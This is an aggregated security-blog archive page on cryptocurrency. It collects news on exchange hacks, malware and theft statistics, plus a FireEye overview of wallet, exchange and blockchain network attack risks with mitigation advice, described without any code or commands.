Category Archives: crypto

Ep. 114 – Finding Love with Whitney Merrill

What do you get when you mix a lawyer, crypto junkie and a romantic together? Well, none other than our guest for this month, Whitney Merrill. – Feb 11, 2019
Contents Download Get Involved

Download

Ep. 114 – Finding Love with Whitney Merrill
Miro Video Player

Get Involved

Got a great idea for an upcoming podcast? Send us a quick message on the contact form! Enjoy the Outtro Music? Thanks to Clutch for allowing us to use Son of Virginia as our new SEPodcast Theme Music And check out a schedule for all our training at Social-Engineer.Com Check out the Innocent Lives Foundation to help unmask online child predators.

The post Ep. 114 – Finding Love with Whitney Merrill appeared first on Security Through Education.

CookieMiner Malware Can Steal Crypto Exchange Cookies, Saved Passwords and iPhone SMS Messages

Researchers have discovered a new malware used to steal saved passwords and credit card details from browsers. In addition, it

CookieMiner Malware Can Steal Crypto Exchange Cookies, Saved Passwords and iPhone SMS Messages on Latest Hacking News.

$137milllion Worth of QuadrigaCX’s Customers’ Bitcoin Stuck in The Abyss

Cryptocurrency exchange, QuadrigaCX, has suffered a security incident after it lost control of its customers assets. $137 million worth of

$137milllion Worth of QuadrigaCX’s Customers’ Bitcoin Stuck in The Abyss on Latest Hacking News.

The Ethical Hacker Network: Ease Me Into Cryptography Part 3: Asymmetric Ciphers

EH-Net - Daw - Ease Me Into Cryptography Part 3: Asymmetric Ciphers - Asymmetric CyphersWelcome to Part 3! A quick recap of where we’ve been. In Part 1: Buzzwords and Hash Function we talked about some foundational cryptography vocab and were introduced to hash functions, how they’re used, and some drawbacks. In Part 2: Symmetric Ciphers we upped the complexity a bit and discussed symmetric ciphers, including important properties of keys and different modes that help us avoid leakage. Making great progress! In this section, we are going to ease more into crypto with asymmetric ciphers. Ready?

The post Ease Me Into Cryptography Part 3: Asymmetric Ciphers appeared first on The Ethical Hacker Network.



The Ethical Hacker Network

Thieves stole $1.7 billion in cryptocurrency in 2018 as mining gives way to stealing in crypto space

Bitcoin’s legendary ascension to the $20,000 mark a little more than a year ago inspired legions of fast-buck makers to hop on the bandwagon and invest in this intriguing yet volatile asset.

Mining cryptocurrency worked for a while, but it is no longer feasible because of the increasing complexity behind the algorithms, especially in the case of Bitcoin. So players in the cryptocurrency market are now (loosely) divided into two categories: those who trade it and those who steal it.

And the line between the ICOs and exchanges in the former group and the thieves, scammers and hackers of the second group is blurring by the day. Some exchanges and initial coin offerings are now entirely set up to perform an exit scam.

Playing with digital currency today is like playing with fire, as the risks now outweigh the benefits. New research reveals that thieves and scammers stole $1.7 billion in cryptocurrency in 2018. Theft from cryptocurrency exchanges accounted for most of the criminal activity: more than $950 million was stolen by hackers in 2018 – 3.6 times more than in 2017. Investors and exchange users lost at least $725 million in cryptocurrency in 2018 to exit scams, phony exchange hacks, and Ponzi schemes, according to CipherTrace.

Criminals now need to launder all these funds to cash out before a wave of crypto-centric regulations go into effect this year.


3.6x More Cryptocurrency Stolen in 2018 Versus 2017 According to CipherTrace (Graphic: Business Wire)

CipherTrace has also identified the top 10 trending crypto threats (below) in an effort to provide “actionable threat intelligence for anyone dealing with cryptocurrency.” From the report:

  • SIM swapping: An identity theft technique that takes over a victim’s mobile device to steal credentials and break into wallets or exchange accounts to steal cryptocurrency.
  • Crypto dusting: A new form of blockchain spam that erodes the recipient’s reputation by sending cryptocurrency from known money mixers.
  • Sanction evasion: Nation states that use cryptocurrencies promoted by the Iranian and Venezuelan governments to circumvent sanctions.
  • Next-generation crypto mixers: Money laundering services that promise to exchange tainted tokens for freshly mined crypto, but in reality cleanse cryptocurrency through exchanges.
  • Shadow money service businesses (MSBs): Unlicensed MSBs that bank cryptocurrency without the knowledge of host financial institutions, exposing banks to unknown risk.
  • Datacenter-scale cryptojacking: Takeover attacks that mine for cryptocurrency at a massive scale and that have been discovered in datacenters, including AWS.
  • Lightning Network transactions: Enabling anonymous bitcoin transactions by going “off-chain” and now scaling to $2,150,000.
  • Decentralized stable coins: Stabilized tokens that can be designed for use as hard-to-trace private coins.
  • Email extortion and bomb threats: Mass-customized phishing email campaigns by cyber-extortionists using old passwords and spouse names to demand bitcoin. Bomb threat extortion scams spiked in December.
  • Crypto-robbing ransomware: New malware distributed by cyber-extortionists that empties cryptocurrency wallets and steals private keys while holding user data hostage.

In the wake of numerous such incidents, countries around the world are accelerating the adoption of anti-money-laundering regulations and cryptocurrency forensics. However, as in the classical monetary system, some countries are lagging behind in regulating cryptocurrency, serving as potential havens for money laundering, fraud, and tax evasion.

HOTforSecurity: NZ Police issues update on suspicious Cryptopia hack, says “significant amount” stolen

Authorities in New Zealand are not ruling out the possibility of an exit scam during their investigation into a crypto exchange hack that occurred earlier this month. According to an update by the NZ Police Media Center, the amount of stolen funds is “significant.”

Between January 14 and January 15, NZ-based crypto exchange Cryptopia allegedly learned that it got breached, with the hackers stealing digital currency from its customers. A backlash quickly ensued, with many users believing the exchange had faked its own data breach to perform an exit scam (some users claimed their Ethereum wallets were drained right before the shutdown). Cryptopia then notified the appropriate authorities and started an investigation into the breach.

The New Zealand police has since issued two separate updates on the hack. Some highlights from the first update:

  • Police are not yet in a position to say how much cryptocurrency is involved, other than it is “a significant amount”
  • There has been “a visible police presence” at the company’s headquarters as police take the steps needed to progress the investigation
  • The operation includes both a forensic digital investigation of the company, and a physical scene examination at the building
  • Police is aware of the exit scam speculation. Their official stance is: “It is too early for us to draw any conclusions and Police will keep an open mind on all possibilities while we gather the information we need.”
  • Police has made it a priority to identify and recover missing funds, but suggests those affected should not get their hopes up as “there are likely to be many challenges to achieving this.”
  • Cryptopia are cooperating “fully” with the investigation team

In a second notice issued by the Police Media Center, investigators say “good progress is being made and positive lines of enquiry are being developed to identify the source of the transfer, and to identify where the crypto-currencies have been sent.”

Members in the investigation include both local and foreign digital forensic investigators, as well as overseas authorities. The Police again underscores Cryptopia’s assistance in the investigation, perhaps in an effort to dispel any negative speculation surrounding the breach. Authorities expect the investigation to take some time to complete, the notice also said.

It is not uncommon for a cryptocurrency exchange to fall victim to a targeted attack. Cryptocurrency transfers are hard to trace while stolen funds are even harder to recover, making crypto exchanges a lucrative target for hackers.



HOTforSecurity

NZ Police issues update on suspicious Cryptopia hack, says “significant amount” stolen

Authorities in New Zealand are not ruling out the possibility of an exit scam during their investigation into a crypto exchange hack that occurred earlier this month. According to an update by the NZ Police Media Center, the amount of stolen funds is “significant.”

Between January 14 and January 15, NZ-based crypto exchange Cryptopia allegedly learned that it got breached, with the hackers stealing digital currency from its customers. A backlash quickly ensued, with many users believing the exchange had faked its own data breach to perform an exit scam (some users claimed their Ethereum wallets were drained right before the shutdown). Cryptopia then notified the appropriate authorities and started an investigation into the breach.

The New Zealand police has since issued two separate updates on the hack. Some highlights from the first update:

  • Police are not yet in a position to say how much cryptocurrency is involved, other than it is “a significant amount”
  • There has been “a visible police presence” at the company’s headquarters as police take the steps needed to progress the investigation
  • The operation includes both a forensic digital investigation of the company, and a physical scene examination at the building
  • Police is aware of the exit scam speculation. Their official stance is: “It is too early for us to draw any conclusions and Police will keep an open mind on all possibilities while we gather the information we need.”
  • Police has made it a priority to identify and recover missing funds, but suggests those affected should not get their hopes up as “there are likely to be many challenges to achieving this.”
  • Cryptopia are cooperating “fully” with the investigation team

In a second notice issued by the Police Media Center, investigators say “good progress is being made and positive lines of enquiry are being developed to identify the source of the transfer, and to identify where the crypto-currencies have been sent.”

Members in the investigation include both local and foreign digital forensic investigators, as well as overseas authorities. The Police again underscores Cryptopia’s assistance in the investigation, perhaps in an effort to dispel any negative speculation surrounding the breach. Authorities expect the investigation to take some time to complete, the notice also said.

It is not uncommon for a cryptocurrency exchange to fall victim to a targeted attack. Cryptocurrency transfers are hard to trace while stolen funds are even harder to recover, making crypto exchanges a lucrative target for hackers.

At least six accounts robbed in hack of Bitcoin exchange LocalBitcoins

A breach of peer-to-peer exchange trading platform LocalBitcoins led to a series of unauthorized transactions from a number of accounts.

The exchange, which covers more than 16,000 cities around the globe, lets traders buy and sell Bitcoin in their vicinity. Its tagline, “Instant. Secure. Private” should no longer hold water following Saturday’s incident, which allowed hackers to steal funds from at least six of its users.

As per the official announcement, on Jan. 26 at around 10 AM (UTC), LocalBitcoins detected an “unauthorised source” accessing and sending transactions from a number of affected accounts. The exchange immediately disabled outgoing transactions. Still, admins later determined that at least six accounts had been affected.

“We were able to identify the problem, which was related to a feature powered by a third party software, and stop the attack,” reads the announcement. “At the moment, we are determining the correct number of users affected – so far six cases have been confirmed. For security reasons, the forum feature has been disabled until further notice.”

Outgoing transactions have since been re-enabled. The exchange claims to have set up a number of roadblocks to prevent further unauthorized access. It also advises its customers to use the two-factor-authentication mechanism available with the LocalBitcoins service. According to the company, LocalBitcoins accounts are currently safe to log into and use.

Apparently, the vulnerability that led to the breach was in the forums page software. The forum is currently down for maintenance as the team continues to work towards remediation.

Two weeks ago, a similar incident was reported in New Zealand where local cryptocurrency exchange Cryptopia suffered a breach that culminated in a lot of empty crypto wallets. The news led some users to speculate that the exchange itself faked the breach as part of an “exit scam.” Local police are investigating the breach, saying that “Cryptopia management and staff have been co-operating with Police and providing considerable assistance in the investigation.”

According to a notice by the New Zealand Police Media Centre, “Good progress is being made and positive lines of enquiry are being developed to identify the source of the transfer, and to identify where the crypto-currencies have been sent.”

Cryptocurrency and Blockchain Networks: Facing New Security Paradigms

On Jan. 22, FireEye participated in a panel focused on cryptocurrencies and blockchain technology during the World Economic Forum. The panel addressed issues raised in a report developed by FireEye, together with our partner Marsh & McLennan (a global professional services firm) and Circle (a global crypto finance company). The report touched on some of the security considerations around crypto-assets – today and in the future, and in this blog post, we delve deeper into the security paradigms surrounding cryptocurrencies and blockchain networks.

First, some background that will provide context for this discussion.

Cryptocurrencies – A Primer

By its simplest definition, cryptocurrency is digital money that operates on its own decentralized transaction network. When defined holistically, many argue that cryptocurrencies and their distributed ledger (blockchain) technology is powerful enough to radically change the basic economic pillars of society and fundamentally alter the way our systems of trust, governance, trade, ownership, and business function. However, the technology is new, subject to change, and certain headwinds related to scalability and security still need to be navigated. It is safe to assume that the ecosystem we have today will evolve. Since the final ecosystem is yet to be determined, as new technology develops and grows in user adoption, the associated risk areas will continually shift – creating new cyber security paradigms for all network users to consider, whether you are an individual user of cryptocurrency, a miner, a service-provider (e.g., exchange, trading platform, or key custodian), a regulator, or a nation-state with vested political interest.

Malicious actors employ a wide variety of tactics to steal cryptocurrencies. These efforts can target users and their wallets, exchanges and/or key custodial services, and underlying networks or protocols supporting cryptocurrencies. FireEye has observed successful attacks that steal from users and cryptocurrency exchanges over the past several years. And while less frequent, attacks targeting cryptocurrency networks and protocols have also been observed. We believe cryptocurrency exchanges and/or key custodial services are, and will continue to be, attractive targets for malicious operations due to the potentially large profits, their often-lax physical and network security, and the lack of regulation and oversight.

This blog post will highlight some of the various risk areas to consider when developing and adopting cryptocurrency and blockchain technology.

Wallet & Key Management

Public and Private Keys

There are two types of keys associated with each wallet: a public key and a private key. Each of these keys provides a different function, and it is the security of the private key that is paramount to securing cryptocurrency funds.

The private key is a randomly generated number used to sign transactions and spend funds within a specific wallet, and the public key (which is derived from the private key) is used to generate a wallet address to which they can receive funds.


Figure 1: Private key, public key, and address generation flow

The private key must be kept secret at all times and, unfortunately, revealing it to third-parties (or allowing third-parties to manage and store private keys) increases convenience at the expense of security. In fact, some of the most high-profile exchange breaches have occurred in large part due to a lack of operational controls relating to the storage of private keys. Maintaining the confidentiality, integrity, and availability of private keys requires fairly robust controls.

However, from an individual user perspective, a large number of user-controlled software wallet solutions store the private and public keys in a wallet file on the user’s hard drive that is located in a well-known directory, making it an ideal target for actors that aim to steal private keys. Easily available tools such as commercial keyloggers and remote access tools (RATs) can be used to steal funds by stealing (or making copies of) a user’s wallet file. FireEye has observed myriad malware families, traditionally aimed at stealing banking credentials, incorporate the ability to target cryptocurrency wallets and online services. FireEye Intelligence subscribers may be familiar with this already, as we’ve published about these malware families use in targeting cryptocurrency assets on our FireEye Intelligence Portal. The following are some of the more prominent crimeware families we have observed include such functionality:

  • Atmos
  • Dridex
  • Gozi/Ursnif
  • Ramnit
  • Terdot
  • Trickbot
  • ZeusPanda/PandaBot
  • IcedID
  • SmokeLoader
  • Neptune EK
  • BlackRuby Ransomware
  • Andromeda/Gamarue
  • ImminentMonitor RAT
  • jRAT
  • Neutrino
  • Corebot

Wallet Solutions

By definition, cryptocurrency wallets are used to store a user’s keys, which can be used to unlock access to the funds residing in the associated blockchain entry (address). Several types of wallets exist, each with their own level of security (pros) and associated risks (cons). Generally, wallets fall into two categories: hot (online) and cold (offline).

Hot Wallets

A wallet stored on a general computing device connected to the internet is often referred to as a “hot” wallet. This type of storage presents the largest attack surface and is, consequently, the riskiest way to store private keys. Types of hot wallets typically include user-controlled and locally stored wallets (also referred to as desktop wallets), mobile wallets, and web wallets. If remote access on any hot wallet device occurs, the risk of theft greatly increases. As stated, many of these solutions store private keys in a well-known and/or unencrypted location, which can make for an attractive target for bad actors. While many of these wallet types offer the user high levels of convenience, security is often the trade-off.

Wallet Type

Examples

Desktop

  • Bitcoin Core
  • Atomic
  • Exodus
  • Electrum
  • Jaxx

Mobile

  • BRD
  • Infinito
  • Jaxx
  • Airbitz
  • Copay
  • Freewallet

Web

  • MyEtherWallet
  • MetaMask
  • Coinbase
  • BTC Wallet
  • Blockchain.info

Table 1: Types of hot wallets

If considering the use of hot wallet solutions, FireEye recommends some of the following ways to help mitigate risk:

  • Use two-factor authentication when available (as well as fingerprint authentication where applicable).
  • Use strong passwords.
  • Ensure that your private keys are stored encrypted (if possible).
  • Consider using an alternative or secondary device to access funds (like a secondary mobile device or computer not generally used every day) and kept offline when not in use.
Cold Wallets

Offline, also called cold wallets, are those that generate and store private keys offline on an air-gapped computer without network interfaces or connections to the outside internet. Cold wallets work by taking the unsigned transactions that occur online, transferring those transactions offline to be verified and signed, and then pushing the transactions back online to be broadcasted onto the Bitcoin network. Managing private keys in this way is considered to be more secure against threats such as hackers and malware. These types of offline vaults used for storing private keys is becoming the industry security standard for key custodians such as Coinbase, Bittrex, and other centralized cryptocurrency companies. Even recently, Fidelity Investments released a statement regarding their intentions to play an integral part of the Bitcoin’s custodial infrastructure landscape.

"Fidelity Digital Assets will provide a secure, compliant, and institutional-grade omnibus storage solution for bitcoin, ether and other digital assets. This consists of vaulted cold storage, multi-level physical and cyber controls – security protocols that have been created leveraging Fidelity’s time-tested security principles and best practices combined with internal and external digital asset experts."

-Fidelity Investments                                

While more security-conscious exchanges employ this type of key storage for their users, cold wallets are still susceptible to exploitation:

  • In November 2017, ZDnet published an article describing four methods hackers use to steal data from air-gapped computers through what they call “covert channels.” These channels can be broken down into four groups:
    • Electromagnetic
    • Acoustic
    • Thermal
    • Optical
  • In addition to those four types of attacks, WikiLeaks revealed, as part of its ongoing Vault 7 leak, a tool suite (dubbed Brutal Kangaroo, formerly EZCheese) allegedly used by the CIA for targeting air-gapped networks.
  • In February 2018, security researchers with the Cybersecurity Research Center at Israel's Ben-Gurion University made use of a proof-of-concept (PoC) malware that allowed for the exfiltration of data from computers placed inside a Faraday cage (an enclosure used to block electromagnetic fields). According to their research, attackers can exfiltrate data from any infected computer, regardless if air-gapped or inside a Faraday cage. The same group of researchers also revealed additional ways to exploit air-gapped computers:
    • aIR-Jumper attack that steals sensitive information from air-gapped computers with the help of infrared-equipped CCTV cameras that are used for night vision
    • USBee attack that can be used steal data from air-gapped computers using radio frequency transmissions from USB connectors
    • DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer
    • BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys
    • AirHopper that turns a computer's video card into an FM transmitter to capture keystrokes
    • Fansmitter technique that uses noise emitted by a computer fan to transmit data
    • GSMem attack that relies on cellular frequencies
    • PowerHammer, a malware that leverages power lines to exfiltrate data from air-gapped computers.
Hardware Wallets

Hardware wallets are typically a small peripheral device (such as USB drives) used to generate and store keys, as well as verify and sign transactions. The device signs the transactions internally and only transmits the signed transactions to the network when connected to a networked computer. It is this separation of the private keys from the vulnerable online environment that allows a user to transact on the blockchain with reduced risk.

However, hardware wallets are susceptible to exploitation as well, such as man-in-the-middle (MitM) supply chain attacks, wherein a compromised device is purchased. Such an event obstenibly occurred in early 2018, when an individual purchased a compromised Nano Ledger off of eBay, and consequently lost $34,000 USD worth of cryptocurrency stored on the device as the attacker created their own recovery seed to later retrieve the funds stored on the device. In order to trick the victim, the attacker included a fake recovery seed form inside the compromised device packaging (as seen in Figure 2).


Figure 2: Fraudulent recovery seed document for Ledger Nano (image source: Reddit)

To help mitigate the risk of such an attack, FireEye recommends only purchasing a hardware wallet from the manufacturer directly or through authorized resellers.

In addition to supply-chain attacks, security researchers with Wallet.fail have recently disclosed two vulnerabilities in the Ledger Nano S device. One of these vulnerabilities allows an attacker to execute arbitrary code from the boot menu, and the other allows physical manipulation without the user knowing due to a lack of tamper evidence. In both cases, physical access to the device is required, and thus deemed less likely to occur if proper physical security of the device is maintained and unauthorized third-party purchasing is avoided.

Paper Wallets

Typically, wallet software solutions hide the process of generating, using, and storing private keys from the user. However, a paper wallet involves using an open-source wallet generator like BitAddress[.]org and WalletGenerator[.]net to generate the user’s public and private keys. Those keys are then printed to a piece of paper. While many view this form of key management as more secure because the keys do not reside on a digital device, there are still risks.

Because the private key is printed on paper, theft, loss, and physical damage present the highest risk to the user. Paper wallets are one of the only forms of key management that outwardly display the private key in such a way and should be used with extreme caution. It is also known that many printers keep a cache of printed content, so the possibility of extracting printed keys from exploited printers should also be considered.

Exchanges & Key Custodians

According to recent Cambridge University research, in 2013 there were approximately 300,000 to 1.3 million users of cryptocurrency. By 2017 there were between 2.9 million and 5.8 million users. To facilitate this expedited user growth, a multitude of companies have materialized that offer services enabling user interaction with the various cryptocurrency networks. A majority of these businesses function as an exchange and/or key custodians. Consequently, this can make the organization an ideal candidate for intrusion activity, whether it be spear phishing, distributed denial of service (DDoS) attacks, ransomware, or extortion threats (from both internal and external sources).

Many cryptocurrency exchanges and services around the world have reportedly suffered breaches and thefts in recent years that resulted in substantial financial losses and, in many cases, closures (Figure 3). One 2013 study found that out of 40 bitcoin exchanges analyzed, over 22 percent had experienced security breaches, forcing 56 percent of affected exchanges to go out of business.


Figure 3: Timeline of publicly reported cryptocurrency service compromises

Some of the more notable cryptocurrency exchange attacks that have been observed are as follows:

Time Frame

Entity

Description

July 2018

Bancor

Bancor admitted that unidentified actors compromised a wallet that was used to upgrade smart contracts. The actors purportedly withdrew 24,984 ETH tokens ($12.5 million USD) and 229,356,645 NPXS (Pundi X) tokens (approximately $1 million USD). The hackers also stole 3,200,000 of Bancor's own BNT tokens (approximately $10 million USD). Bancor did not comment on the details of the compromise or security measures it planned to introduce.

June 2018

Bithumb

Attackers stole cryptocurrencies worth $30 million USD from South Korea's largest cryptocurrency exchange, Bithumb. According to Cointelegraph Japan, the attackers hijacked Bithumb's hot (online) wallet.

June 2018

Coinrail

Coinrail admitted there was a "cyber intrusion" in its system and an estimated 40 billion won ($37.2 million USD) worth of coins were stolen. Police are investigating the breach, but no further details were released.

February 2018

BitGrail

BitGrail claimed $195 million USD worth of customers' cryptocurrency in Nano (XRB) was stolen.

January 2018

Coincheck

Unidentified attackers stole 523 million NEM coins (approximately $534 million USD) from the exchange's hot wallet. Coincheck stated that NEM coins were kept on a single-signature hot wallet rather than a more secure multi-signature wallet and confirmed that stolen coins belonged to Coincheck customers.

July 2017

Coindash

Unidentified actors reportedly stole $7.4 million USD from users attempting to invest during a Coindash (app platform) ICO. Coindash, which offers a trading platform for ether, launched its ICO by posting an Ethereum address to which potential investors could send funds. However, malicious actors compromised the website and replaced the legitimate address with their own ether wallet address. Coindash realized the manipulation and warned users only three minutes after the ICO began, but multiple individuals had already sent funds to the wrong wallet. This incident was the first known compromise of an ICO, which indicates the persistent creativity of malicious actors in targeting cryptocurrencies.

June 2017

Bithumb

Bithumb, a large exchange for ether and bitcoin, admitted that malicious actors stole a user database from a computer of an employee that allegedly includes the names, email addresses, and phone numbers of more than 31,800 customers. Bithumb stated that its internal network was not compromised. Bithumb suggested that actors behind this compromise used the stolen data to conduct phishing operations against the exchange's users in an attempt to steal currency from its wallets, allegedly stealing cryptocurrency worth more than $1 million USD.

April 2017

Yapizon

Unidentified actor(s) reportedly compromised four hot wallets belonging to a South Korean Bitcoin exchange, Yapizon, and stole more than 3,816 bitcoins (approximately $5 million USD). The identity of the responsible actor(s) and the method used to access the wallets remain unknown. However, Yapizon stated that there was no insider involvement in this incident.

August 2016

Bitfinex

Malicious actor(s) stole almost 120,000 bitcoins ($72 million USD at the time), from clients' accounts at Bitfinex, an exchange platform in Hong Kong. How the breach occurred remains unknown, but the exchange made some changes to its systems after regulatory scrutiny. However, some speculate that complying with the regulators' recommendations made Bitfinex vulnerable to theft.

May 2016

Gatecoin

The Hong Kong-based Gatecoin announced that as much as $2 million USD in ether and bitcoin were lost following an attack that occurred over multiple days. The company claimed that a malicious actor altered its system so ether deposit transfers went directly to the attacker's wallet during the breach.

February 2015

KipCoin

The Chinese exchange KipCoin announced that an attacker gained access to its server in 2014 and downloaded the wallet.dat file. The malicious actor stole more than 3,000 bitcoins months later.

February 2015

BTER

BTER announced via its website that it lost 7,170 bitcoins, ($1.75 million USD at the time). The company claimed that the bitcoins were stolen from its cold wallet.

December 2015

Bitstamp

Bitstamp reported that multiple operational wallets were compromised, which resulted in the loss of 19,000 bitcoins. The company received multiple phishing attempts in the months prior to the theft. One employee allegedly downloaded a malicious file that gave the attacker access to servers that contained the wallet.dat file and passphrase for the company's hot wallet.

August 2014

BTER

The China-based exchange BTER claimed that an attacker stole 50 million NXT, ($1.65 million USD at the time). The company claims the theft was possible following an attack on one of its hosting servers. The company reportedly negotiated the return of 85 percent of the stolen funds from the attacker.

July 2014

MintPal

MintPal admitted that an attacker accessed 8 million VeriCoins ($1.8 million USD) in the company's hot wallet. The attackers exploited a vulnerability in its withdrawal system that allowed them to bypass security controls to withdraw the funds.

Early 2014

Mt. Gox

Mt. Gox, one of the largest cryptocurrency exchanges, filed for bankruptcy following a theft of 850,000 bitcoins (approximately $450 million USD at the time) and more than $24 million USD from its bank accounts. A bug in the exchange's system that went unidentified for years allegedly enabled this compromise. Additionally, some speculated that an insider could have conducted the theft. Notably, recent reports revolving around the arrest of the founder of BTC-e (Alexander Vinnik) suggest he was responsible for the attack on Mt. Gox.

Table 2: Sample of observed exchange breaches

As little oversight is established for cryptocurrency exchanges and no widely accepted security standards exist for them, such incidents will likely persist. Notably, while these incidents may involve outsiders compromising exchanges' and services' systems, many of the high-profile compromises have also sparked speculations that insiders have been involved.

Software Bugs

While there has yet to be an in-the-wild attack that has caused significant harm to the Bitcoin network itself, remember the Bitcoin software is just that: software. Developers have identified 30 common vulnerabilities and exposures (CVEs) since at least 2010, many of which could have caused denial of service attacks on the network, exposure of user information, degradation of transaction integrity, or theft of funds.

The most recent software bug was a transaction validation bug that affected the consensus rules; essentially allowing miners to create transactions that weren’t properly validated and contained an extra input – which could have ultimately been exploited to create an amount of bitcoin from nothing. This vulnerability went unnoticed for two years, and fortunately was responsibly disclosed.

Running any peer-to-peer (P2P) or decentralized and distributed software is risky because each individual user has the responsibility to upgrade software when bugs are found. The more people who fail to update their software in a timely manner, the greater the chance of those nodes being exploited or used to attack the network.

Scaling & Attack Surface

At the time of this post, scaling blockchain networks to the size required to support a truly global payment system still presents a problem for the new technology and is an area of contention among developers and industry players. To address this, many developers are working on various scaling solutions. The following are some of the proposed solutions and the risks associated with each:

On-chain Scaling

One proposed suggestion is to increase the block size, which consequently shifts the cost of scaling to miners and those who operate nodes. Some argue that this could introduce the risk of centralization, because the only larger organizations that can meet the bandwidth and storage demands of ever-increasing block sizes can support this type of solution.

Off-chain Scaling

Some of the more popular blockchain scaling solutions for crypto-assets often depend on layering networks and system architectures on top of the base protocol – also referred to as “layer two” (L2) scaling. This allows users to conduct transactions “off-chain” and only occasionally synchronize them with the Bitcoin blockchain. Many argue that this is similar to how legal contracts are enforced; you don’t need to go to court each time a legal contract is written, agreed upon, and executed. And this is something that already occurs frequently in Bitcoin, as the vast majority of transactions happen offline and off-chain within large exchanges’ and merchant providers’ cold storage solutions.

However, two choices for off-chain scaling exist:

Off-chain Private Databases

This solution involves pushing transactions off-chain to a privately managed database where transaction can be settled and then occasionally synced with the Bitcoin blockchain. However, in creating this second layer of private “off-chain” transaction processing, an element of trust is introduced to the system, which unfortunately introduces risk. When transactions occur “off-chain” in a centralized private database, there is risk of improperly secured centralized ledgers that can be falsified or targeted for attack.

Off-chain Trustless Payment Channels

Another L2 solution would be to push transactions off-chain – not onto a private database, but to a trustless decentralized routing network. There are two primary L2 solutions being developed: The Liquid Network (for Bitcoin) and Raiden (for Ethereum).

However, a critique of this type of scaling solution is that the accounts used on this layer are considered hot wallets, which presents the largest attack surface. This makes it the riskiest way to store funds while also creating a valuable target for hackers. If an attacker is able to identify and access a user’s L2 node and associated wallet, they could transmit all funds out of the user’s wallet.

Lightning and Raiden as scaling solutions are still relatively new and experimental, so it’s unknown whether the they will be globally accepted as the preferred industry scaling solution. Additionally, because this layered development is still new and not widely implemented, at the time of this post there has not yet been an instance or proof of concept attack against L2 networks.

Network & Protocol Attacks

Actors may also attempt to directly exploit a cryptocurrency P2P network or cryptographic protocol to either steal cryptocurrency or disrupt a cryptocurrency network. Albeit rare, successful attacks of this nature have been observed. Examples of attack vectors that fall into this category include the following:

51% Attack

The 51% attack refers to the concept that if a single malicious actor or cohesive group of miners controlled more than 50 percent of the computing capability validating a cryptocurrency's transactions, they could reverse their own transactions or prevent transactions from being validated. While previously considered theoretical, 51% attacks have been recently observed:

  • In early April 2018, the cryptocurrency Verge reportedly suffered a 51% attack, which resulted in the attacker being able to mine 1,560 Verge coins (XVG) every second for a duration of three hours.
  • In May 2018, developers notified various cryptocurrency exchanges of a 51% attack on Bitcoin Gold. According to a report by Bitcoinist, the attack cost exchanges nearly $18 million.
  • Following the Bitcoin Gold attack, in June 2018, ZenCash became another target of the 51% attack, in which attackers siphoned $550,000 USD worth of currency from exchanges.

Companies such as NiceHash offer a marketplace for cryptocurrency cloud mining in which individuals can rent hashing power. Couple the information available from sites like Crypto51, which calculates the cost of performing 51% attacks, and it presents an attractive option for criminals seeking to disrupt cryptocurrency networks. While these types of attacks have been observed, and are no longer theoretical, they have historically posed the most risk to various alt-coins with lower network participation and hash rate. Larger, more robust, proof-of-work (PoW) networks are less likely to be affected, as the cost to perform the attack outweighs potential profit.

We anticipate that as long as the cost to perform the 51% attack and the likelihood of getting caught remains low, while the potential profit remains high, actors will continue showing interest in these types of attacks across less-robust cryptocurrency networks. 

Sybil Attack

A Sybil attack occurs when a single node claims to be multiple nodes on the P2P network, which many see as one of the greatest security risks among all large-scale, peer-to-peer networks. A notable Sybil attack (in conjunction with a traffic confirmation attack) against the Tor anonymity network occurred in 2014, spanned the course of five months, and was conducted by unknown actors.

As it pertains to cryptocurrency networks in particular, attackers performing this type of attack could perform the following:

  • Block honest users from the network by outnumber honest nodes on the network, and refusing to receive or transmit blocks.
  • Change the order of transactions, prevent them from being confirmed, or even reverse transactions that can lead to double spending by controlling a majority of the network computing power in large-scale attacks.

As described by Microsoft researcher John Douceur, many P2P networks rely on redundancy to help lower the dependence on potential hostile nodes and reduce the risk of such attacks. However, this method of mitigation falls short if an attacker impersonates a substantial fraction of the network nodes, rendering redundancy efforts moot. The suggested solution to avoiding Sybil attacks in P2P networks, as presented in the research, is to implement a logically centralized authority that can perform node identity/verification. According to the research, without implementing such a solution, Sybil attacks will always remain a threat “except under extreme and unrealistic assumptions of resource parity and coordination among entities.”

Eclipse Attack

An eclipse attack involves an attacker or group controlling a significant number of nodes and then using those nodes to monopolize inbound and outbound connections to other victim nodes, effectively obscuring the victim node’s view of the blockchain and isolating it from other legitimate peers on the network. According to security researchers, aside from disrupting the network and filtering the victim node’s view of the blockchain, eclipse attacks can be useful in launching additional attacks once successfully executed. Some of these attacks include:

  • Engineered Block Races: Block races occur in mining when two miners discover blocks at the same time. Generally, one block will be added to the chain, yielding mining rewards, while the other block is orphaned and ignored, yielding no mining reward. If an attacker can successfully eclipse attack miners, the attacker can engineer block races by hoarding blocks until a competing block has been found by non-eclipsed miners – effectively causing the eclipsed miners to waste efforts on orphaned blocks.
  • Splitting Mining Power: An attacker could use eclipse attacks to effectively cordon off fractions of miners on a network, thereby eliminating their hashing power from the network. Removing hashing power from a network allows for easier 51% attacks to occur given enough miners are effectively segmented from the network to make a 51% attack profitable.

On Jan. 5, 2019, the cryptocurrency company Coinbase detected a possible eclipse + 51% attack effecting the Ethereum Classic (ETC) blockchain. The attack involved malicious nodes surrounding Coinbase nodes, presenting them with several deep chain reorganizations and multiple double spends – totaling 219,500 ETC (worth at the time of this reporting roughly $1.1 million USD).

While eclipse attacks are difficult to mitigate across large-scale P2P networks, some fixes can make them more difficult to accomplish. FireEye recommends implementing the following, where applicable, to help reduce the risk of eclipse attacks:

  • Randomized node selection when establishing connections.
  • Retain information on other nodes previously deemed honest, and implement preferential connection to those nodes prior to randomized connections (this increases the likelihood of connecting to at least one honest node).

How the Public and Private Sector Can Help Mitigate Risk

Public Sector Priorities

As blockchain technology continues to develop, and issues like scaling, security, and identity management are addressed, it is safe to assume the ecosystem we have today will not look like the ecosystem of tomorrow. Due to this, the public sector has generally maintained a hands-off approach to allow the space to mature and innovate before implementing firm regulations. However, in the future, there are likely to be certain key areas of regulation the public sector could focus on:

  • Virtual Currencies (tax implications, asset classification)
  • Data encryption
  • Privacy
  • Identity Management (KYC and FCC)

Private Sector’s Role

